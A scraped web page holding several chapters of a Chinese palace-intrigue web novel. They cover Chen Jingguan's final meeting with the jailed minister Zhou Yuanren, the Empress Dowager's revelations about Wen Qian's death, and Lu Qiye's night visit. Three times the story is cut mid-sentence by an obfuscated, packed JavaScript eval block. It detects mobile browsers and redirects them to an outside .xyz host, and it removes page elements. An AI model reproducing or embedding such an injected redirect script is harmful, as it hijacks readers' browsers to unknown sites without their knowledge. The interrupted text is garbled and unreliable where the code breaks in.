陈京观笑着叹气,他的手抚过已经被阴气和血气浸染成青棕色的墙砖,指尖摩挲过长满苔藓的墙垣,突然他转过身看着周原任,“我能最后问你一个问题吗?” 154.凤鸣朝阳(四) 周原任不动声色地望着眼前的人,陈京观停顿了一下,“我想知道你要那么多钱做什么?” 在陈京观和周原任针锋相对的同时,莫汝安的手下从周府的大门长驱直入,他的脚步停在一间柴房外面,那屋子的窗户全被油纸糊住了,从外头看整个屋子如同一座密不透风的监牢。 “做好清点,全部充公。” 这屋子里还只是周原任放在家里的名贵器具,在他的书房里,有个前朝的花瓶下压着一个厚厚的账册,上面记录着这么多年他在各地的银庄存了多少银钱,那个数字周原任也记不清了。 “钱嘛,谁会嫌钱多呢?” 周原任没有直面陈京观的问题,陈京观了然地点头,又换了一个问法,“你是从什么时候开始准备的?或者说,你是从什么时候觉得南魏没救了?” 周原任的笑容僵在脸上,随即他轻笑一声,“你倒还真有些本事,猜到了?也是,我本来也没想着要隐瞒,你们再迟来几天,我就拖家带口到济州了。” 从水患那时陈京观亲眼目睹盛州知州弃城而逃,他就已经明白了。 俗话说有钱能使鬼推磨,这句话在乱世更是至理名言,这也是为何世家会抱团,毕竟钱永远只流向少部分人的口袋,捏住自己的钱袋子,那也就捏住了别人的命。 周原任深吸一口气,脸上与其说是悔恨,倒不如说是落寞,他抬头看着陈京观,“这天下只有钱最有用,什么功名利禄,什么王侯将相,权力更迭时都不过是一场空。南魏往上数有十一位皇帝,算是个长命的王朝了,可人有暮年,国家又怎么能逃得脱?我想安乐地过完这辈子,我有错吗?” “那你走了,周湘呢?她是皇后她走不掉的。” 陈京观的话问出来的那一刻,他们对答案都心知肚明,周原任嘴角噙着笑,片刻后叹息道:“我把她送到萧霖床上的那一刻,我们的亲缘就断了,这之后不过是她利用我打压其他嫔妃的母家,我利用她拉拢崇宁,各取所需罢了。” 所以周湘远不是她表现出那般人畜无害,能在这后宫活二十多年的人,哪一个会是简单角色。 陈京观临走前又看了周原任一眼,他觉得这应该是他最后一次见到这个人。周原任一死,从前那些事情就彻底结束了,这个世界上没有人会记得十年前的血雨腥风了。 当然,除了陈京观。 陈京观往前迈着步子,周原任站起身想要送他,走到门边时他被赶来的狱卒拦住,他自嘲似的笑了,陈京观没有回头,听到背后的人叫住了自己。 “一切才刚刚开始,我倒还希望你真能在这朝堂上做一棵常青树。” “为什么?” 周原任望着陈京观的目光有些出神,“我真的好想知道,会不会真的有人能逃脱着天定的命运。” 这时站在光里的周原任突然变得黯淡了,他就像记载着过去一切的史书,陈京观翻开了他,阅读了他,最后将他付之一炬。 可周原任心里的一字一句都不容修改,他目睹了萧氏姐弟的崛起,然后看着他们在权利争斗中互相折磨;他看着一批又一批意气风发的学子踏进崇明殿,有些人被抬了出去,有些人死无葬身之地。 明日再上朝,甄符止就成了这那朝堂上最老的人,一个新的轮回又开始了。 陈京观没有回答周原任几近呓语似的话,他步履不停地离开了大牢,他觉得牢里的血腥味快要逼得他喘不上气了,他不敢想温书让在这样的地方待了小三十年。 “您可算出来。” 陈京观气还没喘匀,一个候在外头的内侍俯身挡住了他的去路。 “公公有事?” 眼前的人像是不知道要怎么称呼陈京观,支支吾吾半天依旧用“您”做了代称。 “太后娘娘请您去祥宁殿一趟。” “你这许久不进宫,大家排着队等着见你呢,陈公子好气派。” 苏清晓嘴上打趣着陈京观,却又忍不住回头看了一眼背后的诏狱二字,“你说太后此时找你,是为了给他求情吗?我们要把一切告诉她吗?” “她又怎么会不知道。” 陈京观看到周湘的第一眼,就了然了她的心思。 “我叫你景豫吧,小时候你来宫里我还抱过你。” 周湘说着吩咐人给陈京观端上茶点,陈京观将盘子里的东西打量了一遍,发现都自己曾经会在温浅宫里吃到的。 “多谢太后娘娘。” 陈京观也不客气,拿起盘子里的桃酥咬了一口,周湘见他这副样子忍俊不禁道:“你还真是一点也不怕我下毒害了你,我可就萧祺枫一个儿子。” 陈京观端起手边的茶杯顺了顺嘴里的吃食,无所谓地耸了耸肩,“我也就温浅一个小姨,就温润一个母亲,就陈频一个父亲,就温书让一个外祖父,您还要我继续说下去吗?” 周湘望着陈京观目光又柔和了三分,她扬了扬下巴让跟在陈京观身后的宫女为他把茶续上,等着陈京观将手里的东西吃完,周湘点了点头,这屋子便只留下了她和陈京观两个人。 “你刚从诏狱出来,是去见他了?” 陈京观毫不掩饰地点头,“周大人一切安好,他对自己的命运很清楚。” 周湘眼眸低垂,陈京观便寻到了空隙将眼前的人从上到下打量了一遍。 比起薛雯昭,周湘还要更小几岁,当时萧霖大选,周湘才不过十四,本不会被划进名单,是周原任自告奋勇去向崇宁暗示自己还有这么一个女儿。 崇宁自然知道周原任的心思,但他们沾亲带故,周原任拿捏起来比寻常人都要容易,于是周湘成了周原任送给萧霖的贡品,周湘成了皇后,周原任终于爬到了尚书的位置。 可周湘只有周原任这一个父亲,周原任却有七个子女。 按照宫中惯例,得宠的嫔妃一旦有了孕,便可以请了自己的父母进宫来探望,十六岁的周湘见着自己一天天大起来的肚子,她心里又喜又怕,可她最后请来的只有她的母亲。 周湘生产的那一天,周原任新迎娶了一位明月楼的小妾,算起来,只比周湘大四岁。 可要说恨,周湘觉得也谈不上,起初她心里更多的是麻木,后来反而慢慢生出了一种庆幸。 她想,如果自己没有成为周原任拉拢崇宁的工具,那她会是什么下场?会被随便指给那个小厮做太太,还是被送到哪个大人的床上?无外乎就这几种选择,周湘觉得倒不如做一个装傻充愣的皇后更舒服。 于是这崇明殿里的每一日她都得过且过,她不喜不悲,也不争宠,她觉得有萧祺枫就够了,虽然到最后萧祺枫也没了。 可那又能怎么样?周湘从来都没有亲人。 “你要怎么处置他?绞刑,还是游街示众后砍头?” “没想好,”陈京观说完又看了周湘一眼,“太后娘娘有何高见?” 周湘笑了,在她的笑里陈京观没有看到一丝不舍。 “你是觉得我今日请你来,是为了替他求情?” 陈京观对周湘的问题不置可否,周湘脸上的笑意便又浓了三分,“他都和你说了什么?” “他讲了我母亲,并且希望通过我母亲的死让我憎恨我父亲。” “那你恨陈频吗?你这样多少也有他的功劳。” 陈京观摇头,却又将问题反抛给了周湘,“那你恨周原任吗?” “恨,恨他当初没把我掐死,”周湘笑得很轻易,好像在说着一句不痛不痒的玩笑,“你知道吗,我上头有五个姐姐,而我是第六个。” “只可惜,他当宝贝一样供着的儿子十二岁就掉湖里淹死了,他那些莺莺燕燕也没有一个能再给他生一个儿子的,这就是报应吧。” 周湘说话时玩弄着自己垂在一边的头发,按理说见外男不该散发,可周湘到像是毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在温浅嘴里,周湘知道了温书让曾经短暂地收留过一个落魄学生,也是在与那人的朝夕相处中温浅慢慢动了心,她能感觉得到那个人也喜欢自己,可两个人都没来得及表明心意,那个人就走了。 “他去哪儿了?” 温浅只是摇了摇头,周湘识相地没有再追问。 “不过你说的对,我们进了宫,便都是皇上的人。” 周湘惊讶于温浅突然转了性子,可她不知道的是,在无数个夜不能寐的晚上,温浅一遍又一遍规训着自己,告诉自己要好好活,无论在哪里都要好好活,她要替父亲争一份荣宠回去。 后来温浅做了皇后,温书让差一点就成了丞相,如果没有陈频突然出现的话。 再后来温浅生下了萧祺栩,崇宁借着给她调养身子的理由每天派人盯着她喝下一碗汤药。温浅自小体弱,自己看了不少医术,那药味儿她一闻就知道里面有什么,可她还是一口气喝完了。 她知道自己不死,萧祺栩就活不了。 只是她没想到,崇宁还是没有放过那个年仅四岁又刚没了娘的孩子。 “我无意间撞见蒋铎从崇宁宫里出来,他手里抱着给温浅的药包,我将一切都告诉了温浅,哭着求她不要这么轻易地放弃,可温浅反过来求我,说等她死了,一定要让她的孩子活下去。” 周湘红了眼眶,“可我还是没做到,因为我做不到。萧祺栩不去,我的枫儿就得去。” 陈京观犹豫了一下,从怀里抽出一块干净的帕子,周湘笑着接过去道谢。 “所以你想好了吗?要怎么处置周原任,怎么处置我?” 陈京观没有回答,周湘失笑道:“那我求你一件事。” 陈京观望着周湘,他看到周湘握着帕子的手紧了紧,“周原任,不得好死。” 155.凤鸣朝阳(五) 陈京观离开崇明殿时太阳已经没了踪影,他让跟着自己的内侍先走,自己一个人漫无目的地在这偌大的宫殿里晃悠。 从今早迎着朝阳走入玄门,到现在伴着月色靠近幽门,陈京观这一天听了太多故事,当一切都安静下来时,他哑然失笑。 他发觉自己不适合待在阙州,这皇城会让他眼花缭乱,会让他无暇思考,会让他凭空生出许多不恰当的情感。 陈京观望着西南角的方向,那里从前是这崇明殿最热闹的地方,可崇宁死了,那块地方就荒废了。就如同陈京观当初路过丛选的宅子时,他隔着大门试图听到里面的动静,换来的只有万籁俱静。 萧祺栩还小,远没有到选后纳妃的岁数,而那些萧霖留下的老人一个个都离开了皇宫。今日一过,周湘也会入景州明禅寺带发修行,面子上说的是为国祈福,实际是陈京观留了她一条命。 周湘曾经救过温浅,即使温浅最后还是选择饮下那碗汤药,可周湘是为数不多还愿意告诉温浅真相的,她或许也是这皇宫里为数不多还记得温浅的。 陈京观一直往前走,他觉得自己走到了一片花园,这里应该是崇明殿最偏僻处,可眼前的花草却不像是自己长出来的。 陈京观弯腰拨弄着脚下的茉莉,用手捻了捻它有些枯黄的花瓣,看上去应该是最近几日没浇水,那些含苞待放的花骨朵展现出的是物是人非的颓败。 再走一百步就到幽门了,这是宫门下钥后唯一一个只准出不准进的小门,陈京观离开花园时将那扇半掩着的门带上了,他不知道这里曾经住过谁,也不知道这里曾是谁的秘密,可他希望那些花不要死。 “麻烦你了。” 陈京观朝着守门的侍卫点头,侍卫客气地招呼着他,见他是从花园方向来的,不自觉压低声音道:“可惜了那片地方,往年再过些日子,一到了六七月这条路可香了。” “那是谁的园子?” 侍卫的神色有些犹豫,陈京观就自己猜测着说:“崇宁?” “您果然神机妙算!”侍卫脸上的欣喜只展露了一瞬,很快他侧身看了看园子,“当初长公主的母亲就住在这,幽门离大殿最远,明宗皇帝一年来不了两回。她虽然被封了嫔位,可是子女都算不上上乘,这后宫里人多,很快就有新人替了她。” 陈京观沉默着,侍卫意识到自己说多了,自恼地轻轻扇了自己一巴掌,“反正啊您以后来要是再来幽门,可以不从园子里绕,您往右走个几步就到宸妃娘娘的宫殿了,她那有小路能直接穿过来。” “她们俩关系好吗?” “您说宸妃和长公主?” 陈京观点了点头,侍卫脸上的表情已经告诉了他答案。 “我是从来没见宸妃娘娘走过这条道,她对长公主避之不及。” 陈京观轻笑一声再没说话,他离开时塞给侍卫一块银锭,让他有空就去园子里浇浇水,至少让那些花活过今年夏天。 出了崇明殿,街上烟火气就浓了,萧祺栩即位后第一件事就是去除官令。不过他还是顾及了萧霖的颜面,给了个大战之后需要补充人口的理由。 这官令一除,原本因为战火四散零落的难民找到了能安身立命的地方,从崇州逃过来的伶人,从廊州举家搬过来的农户,还有从盛州、景州等地过来寻商机的商人,虽说离萧祺栩即位也不过才一个月,可这街上的景色倒是恢复到了从前的十之八九。 “老板,来一份酸酪,多加一些红豆。” 陈京观找了从前那个小摊,摊前已经完全不见从前那个阿婆的身影了,他没有问,他看到了店主胸前的白花。 “我记得你之前来过?” 店主将酸酪放在陈京观面前,此时正是饭点,来吃甜点的人不多,店主便拉了个凳子坐在陈京观面前。 “是,估摸着一年前吧。” 店主若有所思地点头,“那时候我母亲还在,她老人家上个月走的,没能看见席将军把阙州抢回来的那一日。” “席将军。” 陈京观小声重复了一遍,听到旁人如此称呼席英,他竟生出一种自己养大的孩子光宗耀祖的感觉。 见陈京观没说话,店家转头端详了他片刻,“诶你别说,你和我那日远远看见的少将军有几分相似。” “是吗,”陈京观嘴里咕哝着,“好些人都这么说。” 陈京观回来后,为了方便他以陈景豫的身份出现,苏清晓向天下广而告之了少将军在朔州一战重伤难愈,不久前病逝的消息。 听穆晓山从街上回来时说,那讣告挂出去三日,阙州城便静默了三日,当初萧霖死的时候都没有这阵仗。 “诶,这世上能有几人扛得了这些事,从他起势到如今也不过三年,官令废除了,景州的贪官抓住了,廊州的粮价打下来了,我们都能和西芥人终于能做到一张桌子上吃饭了,可他没了。” 店家唏嘘着叹气,听到有人进店来,他拍了拍陈京观的肩让他慢慢吃,自己一个人转身回了厨房。 陈京观离开的时候放了六枚铜板,他想着权当是再请萧霖一次酸酪。 越往城边走,陈京观的步子就越慢,他看着当日进攻时走过的路线,脑子里想着的却完全不是一件事了。 回来阙州后,陈京观买下了他们曾经住过的的宅子。 最开始他也只是想着离平海近些,后来却发现这宅子在他们走后又住进了一户人家。陈京观在卧室的夹缝里看到了一块修着荷花的手帕,帕子的右下角还有一个“夏”字。 陈京观让穆晓山去问,知道了夏衍在陈京观走后就租下了这里,他每月的俸禄没那么多,两个妹妹就做些活贴补家用。 陈京观明白夏衍的意思,他想替他守住桃园。 也曾经是在这宅子里,陈京观戳破了夏衍虚假的笑容,看到了他千疮百孔的身体,以及差点就直不起来的腰。 只是陈京观还是没能找到夏衍的两个妹妹,无论他打听了多少人,甚至动用了谍子,可这两个小姑娘就那般凭空消失了。 “你可算回来了,再不回来我可要去和周湘抢人了。” 苏清晓站在宅子前张望,他身边的席英看到陈京观回来朝他招了招手,转身让屋子里的嬷嬷去将预备好的饭菜从温着的锅里拿出来。 “都这个点了你们怎么还等我,下次我要是没回来你们先吃。” “师兄。” 陈京观的话被平芜一声“师兄”打断,他抬头看着眼前泪眼迷蒙的小子,平芜快步上来抱住了陈京观。 “好小子,你也长大了,都能单枪匹马去救师父了。” 平芜的胳膊上还缠着绷带,看样子像是苏清晓刚给换的药,陈京观回抱着他的时候刻意避开了他的伤口,可眼前的半大小子像是有使不完的劲儿,他的怀抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431381|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搂得陈京观喘不过气。 “师父的伤我给苏大人说过了,他方才给我写了个单子,我让人快马加鞭送回去了,宗大人颓靡了一些日子,让师父骂了一顿恢复了些精神,他说他想辞官,可没想好怎么和你说。远山哥的尸首我们没找到,别吉让人在云山哥的坟旁边立个衣冠冢,她让我嘱咐你去廊州的时候多留意着,一定要把他带回家。” “还有,别吉和科迪成亲了,他们没等到你回来,不过别吉说你还没给她送贺礼,她记下了,迟早要问你要的。”平芜顿了顿,“她还说她会带人提前搬去夏牧场,在木尔斯草原没人能找到他们,她让您放心带着人去打仗,没赢就不许回去。” 陈京观忍俊不禁的同时缓缓点着头,他一下一下摸着怀里的人的后背,直到他感觉平芜的气息顺了,他听到平芜问:“哥,你还有想知道的吗?” “那日,你怎么敢一个人去雍州的?” 平芜从陈京观的怀里抽出身,他面前的站着的三个人都静静看着他,平芜的目光从他们每个人脸上扫过,最后停留在席英面前。 “姐姐都成席将军了,我又怎么能丢了师兄的脸面?” 萧祺栩登基后,一改南魏重文轻武的政策,他规定每年文选和武选要同时进行,他不求得到文武双全的人才,他只希望南魏两条腿走路。 那日萧祺栩叫了陈京观去书房,陈京观将萧祺栩递给自己的虎符放在手里摩挲着,那上面的血迹已经擦净了,只是贺福愿倒地时砸坏了一个角,后来匠人再怎么修也还是能看得出来。 “哥,你做我的将军吧,我们一起把收复失地,重振南魏雄风。” 萧祺栩正是雄心勃勃的时候,他看着陈京观的时候,那双眼睛比任何时候都要有神。 可陈京观离开时并没有带走那枚虎符,随他一同出宫的,是封席英为南魏大将军的诏书。 席英接到圣旨的时候毫无波澜,她望着自己的名字和“大将军”三个字写在一起,她抬头看着陈京观,陈京观只是笑着对她说。 “你不是说过要和苏清晓一个人做帝师,一个人做将军吗?现在不敢了?” 席英摇头,“那你呢?” “你比我更适合那个位置,我来做你的副将。” “你席姐姐的今日那是一刀一刀打出来,我的命是她救的,史家父子是她抢的,阙州是她拿下的,她该是这个位子。” 平芜不禁点头,席英倒是难得耳鬓染了些粉红,陈京观用眼神暗示着苏清晓,苏清晓用藏在身后的手捏了捏席英的手腕。 “你们俩,是什么办事啊?” 平芜眨巴着眼睛望着苏清晓,苏清晓一个巴掌拍到了他背上,“没大没小!我比你师兄还大些呢。” 平芜嘟囔着嘴没有再说话,一屋子的人笑着走出正厅。 月色下,一个人影安静地站在院子那棵老树下,他的肩头飘着落花,而他一只手扶着刀,另一只手背在身后。 “今天还真热闹,一起吃吧。” 陈京观走过去接过了陆栖野手里的桂花酿,“还没到桂花的时节,买这两瓶酒不容易吧。” 陆栖野没有答,陈京观示意身后的人先去里屋,他顺手拔开一瓶酒的封口,浓郁的酒香混合着微微发苦的槐花气息,他应该有一年没尝到了。 “陈京观,下次能不要让我从别人嘴里知道你去送死的消息吗?” 156.凤鸣朝阳(六) “好。” 陈京观眼底含着笑意,望着五官皱成一团的陆栖野,他仰头喝了一口怀里的酒,然后把酒罐子递给陆栖野。 “你吃饭了吗,没吃的话先去吃些再喝。” 陆栖野没说话,接过酒罐子猛猛灌了一口。 “你们先吃!给我剩碗面就行!” 陈京观朝屋子里喊了一声,很快听到平芜回了一句“好”。 “你有话要和我说?那我们去后院吧。” 陆栖野没动,陈京观回头看他。 “我不是活得好好的吗?你不是也没信崇宁的鬼话吗?” “我信了。” 陆栖野低着头,握着酒罐子的手微微发着抖,“元焕让我做一个选择,我如果不出兵西芥,要不然交兵权,要不然打阙州。” “你最后选了什么?” 陆栖野的目光不知道停留在什么地方,陈京观只觉得他眼神发直,他没有动,就在原地静静等着陆栖野的回答。 那时候已经到了六月,正是南魏的夜燥热起来的时候,陆栖野觉得南地的风吹得他心烦意乱,可他还是向元焕告了假,一个人骑了两天一夜的马来了景州。 当初崇宁那封信递到元焕面前时,陆栖野正在和元焕商量何时进宫益州,他们打算自北向南拿下东亭。 北梁是没了军户,可这么多年刻在骨子里的热血难凉。 说来好笑,新北梁的那些地方原本就是东亭的,可这十年人□□融下来,北梁倒对这些地方有了难以割舍的故土情结。 元焕听说是南魏寄来的信,他自己还没看就先让陆栖野念,陆栖野兴致冲冲地打开信,看到落款处是崇宁的玺印。 “他说什么?” 陆栖野一时间说不出话,他一个字一个读着,直到那信纸被他用手紧紧攥着的地方起了褶,一碰就破。 “崇宁绑了薛雯昭,用她威胁陈京观独自进殿,此时此刻陈京观应该成了她的人质。” “她想要我们做什么?” 陆栖野冷笑一声,“趁火打劫。” “陈京观走的时候带走了西芥多一半兵力,剩下的还抽出去了一部分驰援雍州。你想要的话,”陆栖野顿了顿,“三天就能拿下。” 陆栖野看到元焕心动了,因为他握着椅子的手直发紧,他手臂上那根清晰可见的血管联通着心脏,陆栖野看到了他抑制不住的欲望。 “你怎么看?” 陆栖野不说话,元焕就转身走近他。 “失了这个机会,再想找到这样的机会就难了。比起东亭和南魏,我们能拿下西芥的机会不多。” “可沁格曾经帮过我们,她还救了陈京观,她……” 元焕的笑声打断了陆栖野的话,“你还真是越来越像他,可他都变了不是吗?” “他没有。” “哦?”元焕饶有兴趣地反问道:“如果他没有,那他怎么会借你的手去拉拢萧祺桓,他怎么会带兵攻下一座座城池?我记得他和你父亲说过一句话,他想兵不血刃斩仇敌。” “可他如果变了,他就不会受制于崇宁,他就不会管薛雯昭的死活,他就不会走上陈频的老路。” “所以你是要让我赌?赌这一次他有没有做好万全的准备?” 陆栖野没说话,元焕也没有再与他争执的想法,他走到陆栖野面前停下,用力握住陆栖野曾经受过伤的那个肩膀。 “如果不出兵西芥,要不然交兵权,要不然打阙州,我不算难为你吧?” “兵权给谁?” 元焕沉吟片刻,“你哥躺了小半年了,做个随军的将军总没问题吧。” 见陆栖野不说话,元焕轻轻勾起嘴角,他背着手重新走回桌前,拿起笔托上还湿润着的狼毫,“ 兵权本来就是他的,是你说的你哥不会甘心下半辈子躺在家里。怎么,现在又舍不得了?” “没有。” 陆栖野将手里的信揉作一团丢进了纸篓里,他看着元焕圣旨上写下“陆栖”两个字,等写第三个字的时候,元焕刻意将那一竖写得很慢。 “我不信他这么轻易就死了,我想再等等。” 陆栖野的话说完,元焕纸上已经将最后那个“川”字写完,他叫来了等在门口的内侍,复陆栖川统军之命的圣旨开始自赋阳宫向整个北梁蔓延。 “我也不信,可你要为你做的选择承担后果。” 陆栖野知道元焕指的是他抗旨不遵,他没有什么解释的余地,只得蹲身下去道了一句“谢陛下开恩”。 “既然这么记挂他,那就亲自去一趟南魏,是死是活,总会有个定论,我们的兵马就停在镜湖边。” 陆栖野一开始没听明白元焕的意思,可他很快领悟到了元焕给他的任务,脸上紧绷的情绪消解了些许。 “五日,五日内我一定回来。” 元焕摆了摆手,“不用急,他要活着,你就和他商量好下一步的计划,他要死了,无论是西芥还是南魏,我都能吃得下。” “所以你交了兵权?” 陈京观看出了陆栖野心底的失落,只听他“嗯”了一声,“还给我哥了,他确实比我更适合。” 陈京观叹了一口气,接过陆栖野手里的酒又喝了一口,月色的映照下,两个人都披上了一身清辉。 “陈京观,那以后也别让我最后一个知道你还活着的消息可以吗?” “我知道朔州之后你该对我有防备的,元焕比元衡好说话,可他毕竟也姓元,你不信我我理解。可,”陈京观就静静听陆栖野说,“我真把你当作我最好的朋友了,我希望我们能同父亲和林叔叔一样做一辈子的朋友。” 陈京观目光暗了暗,陆栖野以为他是被自己说中了心声,不自觉地也跟着泄了气。 “你到底是信我还是不信我啊?” “啊?”陆栖野没听清陈京观想说梦话一样的问题,陈京观笑着又重复了一遍,“我问你,你信不信我?” “我肯定信啊,不然我过去这些年跟着你到底在做什么?” “那你觉得我在做什么?” 陆栖野没有立刻回答,他抬头望了望月亮,缓缓开口道:“让每个人都能如我们此时这般举头望明月。” 陈京观笑着嘴角都快咧到耳朵了,陆栖野问他自己说错了吗,陈京观摇摇头,“没有,我只是惊讶于你每次都能一语中的。” 陈京观抬起手搂住了陆栖野的肩膀,当初那个混不吝的小子如今也有了一身伤,陈京观的手轻轻搭在陆栖野的肩膀,两个人朝后院走去。 “那你更该信我比起怪你,我会怪自己更多些。” 在后院的石亭旁,陈京观再次开口,他用脚步丈量着这方寸之间的土地,突然他停下步子,“就是这,夏衍跪下来求我如果哪一日他受不了了,他希望我能杀了他。” 陆栖野走到陈京观身边,他望着脚下的土地,风带走了一切,让一切都好似没有发生过,可陈京观记得,如今陆栖野也记得了。 “那天我确实差点死在大殿上,我也是抱着去死的心。说实话,我最开始来阙州就是为杀了蒋铎、萧霖和崇宁,如果那天我被俘了,我会拉着崇宁一起下地狱。” “那然后呢?” 陈京观笑了笑,“剩下的事情苏清晓会做完的,他不是个会半途而废的人,而且有席英帮他,还有平芜、穆晓山,还有你和沁格,有我没我都一样。” “哪里一样?”陆栖野小声反驳着,“你凭什么觉得我会帮他?” “因为我啊,”陈京观低头笑了,“就像我父亲死的时候笃定了陆伯父、萧霖,他们那一大堆人会帮我一样。” “好一个陈家子,我以后一定不让我的孩子和你的孩子做朋友,和你们陈家人做朋友是要背一辈子债的。” 陆栖野故作气恼地说着,陈京观却用胳膊碰了碰他,“可你刚才和我说过要和我做一辈子朋友的。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陆栖野望着陈京观半天没说话,他不知道眼前的人做了多少准备,才将过去的自己埋葬,然后又从另一个尸堆了刨出了另一个自己。 无论哪一个,都活得很辛苦。 “欸,我突然后悔从前盼着长大了,我好像什么都有了,却又好像什么都没了。” 陆栖野偶尔矫情一会,陈京观就陪着他闹,“那你后悔当日将兵马借给我吗?” 陆栖野长久地沉默了,陈京观笑而不语,直到天光乍破,陆栖野的声音随着第一缕阳光洒在陈京观身上。 “后悔,后悔我没有早一点长大,没有早一点成为有实权的将军,没有亲自带着兵马赢下那场仗。董叔和桑柘死后我每天都在后悔,可我也明白了你为什么一定要跑回来问个答案。” 陈京观转头看着已经有些困倦的陆栖野,他的眼睛微微合上,睫毛的颤动却出卖了他的情绪。 “可惜,我从元衡那得不到的答案,你从萧霖那里也得不到了。” 说罢陆栖野像是倚着石柱睡着了,他不再说话,陈京观也没有再开口。他进屋去给陆栖野找了一件外衣披着,他知道陆栖野在装睡,可他没有戳穿他。 “我也后悔了,”陈京观笑着说,“后悔没有在他们活着的时候多看他们几眼。我不敢再进桃园,因为我发现我快忘记平海的样子了。 陈京观记得上一次在这院子苦等天明,也是在收到陆栖野的信之后,他读完信一个人去了桃园,抱着平海的墓碑哭了一夜。 两年过去了,在同样一个彻夜未眠的清晨,陈京观又一次进入桃园。 他看到在离平海远处的地方立了一座新坟,看上去应该白天刚有人来祭拜过,他走过去看到了一瓶喝了一半的烧酒,还有隐在土里的一封信。 陈京观没有去拿,他知道苏清晓来过了,或许席英也来过了,或许平芜也来过了。 在陈京观不在的那个午后,这个桃园热闹非常,一如所有人都在的时候。 157.凤鸣朝阳(七) 第二日,陈京观再醒来的时候日头高照,他看到自己披给陆栖野的衣服出现在了自己身上,不禁失笑,他拍了拍上面落着的桃花瓣,临走时又回头看了一眼平海的墓碑。 昨日的梦里,他见到平海了,他从未那般真切地梦到过平海,就如同平海听到了他的心声,于是出现在了他的梦里,只为了让陈京观再看自己一眼。 进了宅子,陈京观拍了拍自己的脸让自己看上去如平常无二,可他多虑了,还没进屋他就听到陆栖野的大嗓门在和苏清晓聊天。 “对了,元焕娶了林含晚为妃,我瞧着等她有皇子就会立她为后了。” “我听景豫说她心气高,可元焕是皇帝,三宫六院那是必然的,她怎么会愿意和其他人分享枕边人?” 陈京观推门进去,陆栖野随便应了一句“你醒啦,准备准备吃饭吧”,然后继续手上擀面条的活儿,转头和苏清晓说话。 “元焕即位后一直没有要恢复林叔丞相之位的意思,林含晚气不过,去质问元焕,说就因为他们家没有儿子了吗?元焕其实是想等林含章的事情查清楚再说,毕竟他消失得奇怪,他身上估计还背着人命呢。结果含晚这么一闹,元焕三年丧期都没过就让她住进了嵩阳宫,天知道她和元焕说了些什么。” “倒是她的脾性,”陈京观笑着应道,可转头又问着陆栖野,“你说含章身上背着人命是什么意思?” “有一日林叔把我叫去说话,他支支吾吾半天,问当日含章是不是听到了元衡的出兵计划,我说应该是,然后林叔就哭了,他没有再解释,只说了一句‘造孽’。” 陈京观在西芥的时候复盘过遥州的过往,他几乎抽丝剥茧寻到了一切事情的真相,可关于林含章的那一块,他猜到了,却又不敢信。 当初林含章哭着和陈京观说师父不要他了,陈京观现在觉得这一切应该正是他这位好师父教给他的,不然林含章怎么会刚好出现在楼梯间而避开那场大火,他们又怎么会那般凑巧救下林含章。 晏离鸿,或者说孟遥鹤,从小就是个不爱说话的,可陈频说过他的心思是这三个小孩里最深的。他比不得苏清晓有才学,又比不得陈京观讨人喜欢,他就和他的父亲一样,永远生活在别人的影子里。 可陈京观和他一同上过学堂,他知道孟遥鹤知道的东西不比苏清晓少,只是孟知参从小教他藏巧于拙,而孟遥鹤最听父亲的话。 只可惜陈景豫和孟遥鹤都死在了同一场大火里,而今陈景豫被人救了起来,孟遥鹤却再也没有姓名。 “不过话说来,姑姑说林含晚当真有她当年的气势,那日她逼得元焕节节败退,颇有一番中宫之姿。” …… “父亲,我听说陆娘娘要替皇上选亲。” 那日,林含晚一早就守着林均许,林均许穿戴好朝服由梅椿送到门口,林含晚终于是忍不住问出了这个憋了很久的问题。 林均许低着头瞥了她一眼,瞬间明白了自己这个闺女的心思。 其实自从那天林均许戳破了林含晚这么多年自以为天衣无缝的隐瞒,她的羡慕和嫉妒就变成了无处安放的孤魂野鬼,可这些情绪并没有消失,反倒让林含晚不知道如何面对林朝槿。 林朝槿是天之骄女,生得好,嫁得好,办的槿栖堂也是风风火火,颇有成为第二个方荔的势头。 反观林含晚,她自认不如姐姐貌美,好不容易春心萌动一次还给父亲招来祸患,她如今天不亮就出发去槿栖堂帮忙,每天要等着林朝槿离开后才回家。 其实她们俩原也碰不到,林朝槿每日只是去看看账本,其余的时间不是在药房等着给陆栖川拿药,就是在与澄州几个大商行斡旋。 槿栖堂预计下半年要扩大规模做书斋,那势必需要外来资金的注入,林朝槿也想试着用槿栖堂做这些官家的桥梁,好替陆栖川的仕途添一把火。 陆栖川是不能做从前的陆将军了,可这北梁总有用得到他的地方,林朝槿想替他再试试。 只是林朝槿这一切做的越好,林含晚就越觉得自惭形秽,她的胞弟如今生死不明,还有可能牵扯着人命官司,而她今年也十五了,她早就不是只会跟着母亲的小团子了。 林含晚也不是非要和林朝槿争个高低,可她受不了一辈子碌碌无为,她是林家的孩子,她不该只享受荣耀,她的肩也能挑得起担子。 林含晚见林均许没有回话,她平视着前方,望着父亲胸前的锦鸡。从前林均许是穿仙鹤的,林含晚觉得只有仙鹤才配得上林均许。 “父亲,元焕还是没有要复您相位的意思?” 林均许伸手揉了揉林含晚的脑袋,“安心在家里陪你母亲,有空就去替姐姐做事,我的事情你不要操心。” “父亲!” 